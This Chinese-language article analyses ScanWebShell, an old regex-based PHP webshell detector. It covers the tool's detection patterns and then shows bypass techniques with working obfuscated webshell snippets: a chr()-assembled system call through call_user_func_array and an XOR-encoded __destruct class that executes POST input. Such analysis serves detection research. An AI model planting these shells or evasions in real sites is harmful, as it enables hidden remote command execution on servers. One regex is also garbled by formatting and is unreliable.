一场跨越十年的超时空思维碰撞
字数 1484 2025-08-10 08:28:32
WebShell检测与绕过技术深度分析
1. 工具概述
腾讯安全lakehu师傅于2013年开发的ScanWebShell工具是一个Perl编写的WebShell检测脚本,主要用于检测PHP WebShell。该工具通过正则表达式匹配常见WebShell特征,具有以下特点:
- 支持PHP WebShell检测(ASP/JSP部分未完成)
- 采用Perl语言编写,可在Linux系统运行
- 版本号:1.1.1
- 开发日期:2013-10-30
2. 正则表达式分析
工具核心检测逻辑基于以下正则表达式模式:
2.1 高危函数检测
@php_code_array = (
'\beval(\s|\/\*.*?\*\/)*$\s*.*?\s*$',
'\bassert(\s|\/\*.*?\*\/)*$\s*.*?\s*$',
'\bsystem(\s|\/\*.*?\*\/)*$\s*.*?\s*$',
# 其他类似高危函数...
);
检测以下高危函数调用:
- eval()
- assert()
- system()
- passthru()
- exec()
- pcntl_exec()
- shell_exec()
- popen()
- proc_open()
- preg_replace()
- create_function()
- ob_start()
- array_map()
2.2 动态函数调用检测
'\$[\w-_\'\
$$
\
$$
{}\.\$\*/|]+(\s|\/\*.*?\*\/)*$.*?$'
该正则表达式用于检测动态函数调用,可分解为四部分:
\$- 匹配$符号开头- `[\w-_'\
\[\ \]
{}.$*/|]+- 匹配变量名(允许字母、数字、下划线等特殊字符) 3.(\s|/*.?*/)- 匹配空白或注释 4.\(.*?\)` - 匹配括号及内容
3. 检测原理深度解析
3.1 检测范围
- 直接高危函数调用
- 通过变量间接调用高危函数
- 包含非PHP文件的可疑行为
- 已知WebShell特征字符串(phpspy, c99shell等)
3.2 典型检测场景
- 直接函数调用:
system($_GET['cmd']); - 变量函数调用:
$f = "system"; $f($_GET['cmd']); - 反引号执行:
`ls -al` - 可疑包含:
include($_GET['file'].".txt");
4. 绕过技术分析
4.1 回调函数绕过
$f = chr(114+1).chr(120+1).chr(116-1).chr(117-1).chr(100+1).chr(108+1);
call_user_func_array($f, array($_GET['aabyss']));
原理:使用call_user_func_array等回调函数间接执行命令
4.2 不可见字符绕过
class Aabyss{
public $c='';
function __destruct(){
$ = ('.$.48]' ^ ']]]@]0'); // system
return $($this->c);
}
}
$runrun=new Aabyss();
@$runrun->c=$_POST['zg'];
原理:在PHP<7.1.9中,不可见字符可作为变量名,绕过正则检测
4.3 其他潜在绕过方式
- 利用PHP特性:
${"_\x50\x4f\x53\x54"}['cmd'] - 反射机制:
(new ReflectionFunction('system'))->invoke('calc'); - 序列化漏洞利用
- 文件操作函数间接执行
5. 防御建议
5.1 增强检测能力
- 结合AST进行语义分析
- 引入机器学习模型
- 增加上下文关联检测
5.2 代码层面防御
- 禁用危险函数(disable_functions)
- 严格过滤输入参数
- 限制文件包含路径
- 使用Suhosin等加固组件
6. 历史意义与技术演进
该工具反映了2013年WebShell检测技术的典型方案:
- 主要依赖正则表达式匹配
- 关注高危函数和常见WebShell特征
- 相比现代技术(如AST分析)较为基础
现代WebShell检测技术已发展至:
- 抽象语法树(AST)分析
- 机器学习/深度学习模型
- 行为沙箱检测
- 全流量分析
7. 课后思考题
在lake2师傅提出的限制条件下(禁用高危函数和回调函数):
- 如何利用PHP的魔术方法实现绕过?
- 能否通过PHP的异常处理机制执行命令?
- 如何利用反序列化漏洞绕过检测?
- 有哪些非常规的文件操作函数可被利用?